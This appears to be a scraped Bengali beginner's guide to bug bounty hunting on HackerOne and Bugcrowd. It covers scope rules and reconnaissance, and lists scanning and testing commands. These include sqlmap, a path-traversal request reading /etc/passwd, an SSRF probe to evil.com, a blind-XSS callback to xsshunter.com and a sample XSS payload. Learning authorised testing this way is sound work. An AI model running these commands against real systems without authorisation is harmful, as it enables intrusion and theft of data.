A to Z বাগ বাউন্টি গাইড (HackerOne & Bugcrowd)

1 day ago 11

BOOK THIS SPACE FOR AD

ARTICLE AD

(সম্পূর্ণ বাংলায়, বেসিক )

বাগ বাউন্টি প্রোগ্রাম হলো সাইবার সিকিউরিটির অন্যতম জনপ্রিয় একটি ক্ষেত্র, যেখানে HackerOne, Bugcrowd, Synack, Intigriti প্ল্যাটফর্মগুলোতে বিভিন্ন কোম্পানি তাদের ওয়েবসাইট, API, অ্যাপ, এবং সার্ভার টেস্ট করার জন্য নিরাপত্তা গবেষকদের (Bug Hunters) আমন্ত্রণ জানায়।

✅ বাগ বাউন্টি কী ও কিভাবে শুরু করবেন।
✅ রিকনাইসান্স (Recon) — টার্গেট খোঁজার প্রক্রিয়া।
✅ সাধারণ দুর্বলতা (Vulnerabilities) খুঁজে বের করার কৌশল।
✅ এক্সপ্লয়টেশন (Exploitation) এবং রিপোর্টিং টেকনিক।
✅ সফল বাগ হান্টার হওয়ার জন্য টিপস ও রিসোর্স।

প্রথমেই, প্রোগ্রামের স্কোপ (Scope of Work) বুঝতে হবে।

💡 📌 স্কোপ কি?
স্কোপ বলতে বোঝায়, কোন অ্যাসেট আপনি পরীক্ষা করতে পারবেন এবং কোন অ্যাসেট পরীক্ষার অনুমতি নেই।

🟢 Allowed Targets:

*.target.com (Wildcard - সমস্ত সাবডোমেইন অন্তর্ভুক্ত)api.target.commobile.target.com (মোবাইল অ্যাপ)store.target.com

🔴 Out-of-Scope Targets:

internal.target.com (ভেতরের নেটওয়ার্ক)admin.target.comtest.target.com

⚠ Testing Rules:
🚫 DoS (Denial of Service) নিষিদ্ধ!
🚫 Automated Exploitation নিষিদ্ধ!
🚫 PII (Personally Identifiable Information) রিপোর্ট করা নিষিদ্ধ!

✅ প্রথম ধাপে স্কোপ ভালোভাবে বুঝে নিন।

রিকনাইসান্সের কাজ হচ্ছে টার্গেটের সর্বোচ্চ তথ্য বের করা।

🛠️ টুল: Subfinder, Amass, Assetfinder, crt.sh, Chaos API

subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass_subs.txt
assetfinder --subs-only target.com | tee assetfinder.txt
cat subdomains.txt amass_subs.txt assetfinder.txt | sort -u > final_subdomains.txt

✅ crt.sh থেকে সার্টিফিকেট ডাটা সংগ্রহ করুন

curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u

✅ Wayback Machine ও GAU (Google Asset URLs) ব্যবহার করুন

gau target.com | tee gau_urls.txt

🛠️ টুল: dnsx, Subjack

dnsx -l final_subdomains.txt -o resolved.txt
subjack -w final_subdomains.txt -t 50 -o takeover.txt -ssl

🛠️ টুল: Nmap, Masscan

nmap -sC -sV -T4 -p- -oN nmap_scan.txt target.com
masscan -p1-65535 --rate=1000 -oG masscan_scan.txt target.com

🛠️ টুল: WhatWeb, Wappalyzer

whatweb target.com
wappalyzer target.com

🛠️ টুল: Wafw00f

wafw00f target.com

🛠️ টুল: Gobuster, Dirsearch

gobuster dir -u https://target.com -w wordlist.txt -t 50 -o gobuster_scan.txt
dirsearch -u https://target.com -e php,html,js,zip -t 50 -o dirsearch_output.txt

🛠️ টুল: SQLmap

sqlmap -u "https://target.com/page.php?id=1" --dbs --batch

🛠️ টুল: Dalfox, XSSHunter

dalfox url "https://target.com?search=" -b xsshunter.com

curl -X GET "https://target.com/page.php?file=../../../../etc/passwd"

curl -X GET "https://target.com/?url=http://evil.com"

🛠️ টুল: theHarvester, Holehe, GitDorker

theHarvester -d target.com -b google
holehe email@example.com

git-dumper https://github.com/target/repo.git dumped_repo

শিরোনাম: Stored XSS in target.com Profile Page
ভ্যালনারেবিলিটি টাইপ: Stored XSS
এন্ডপয়েন্ট: https://target.com/profile
Payload: `<script>alert('XSS')</script>`
ইমপ্যাক্ট: ইউজারের ব্রাউজারে মালিসিয়াস কোড রান করা সম্ভব।
সাজেস্টেড ফিক্স: ইনপুট সেনিটাইজেশন করুন।

✅ প্রতিদিন নতুন কিছু শিখুন।
✅ সফল গবেষকদের ব্লগ ও রিপোর্ট পড়ুন।
✅ Twitter, Discord, ও HackerOne ফোরাম ফলো করুন।
✅ নিজের টুল ডেভেলপ করুন!

GraphQL এক্সপ্লোরেশন: graphqlmap -u https://target.com/graphqlJWT টোকেন এক্সপ্লয়টেশন: jwt_tool token -C -dRace Condition অ্যাটাক: turbo intruder in Burp Suite

Read Entire Article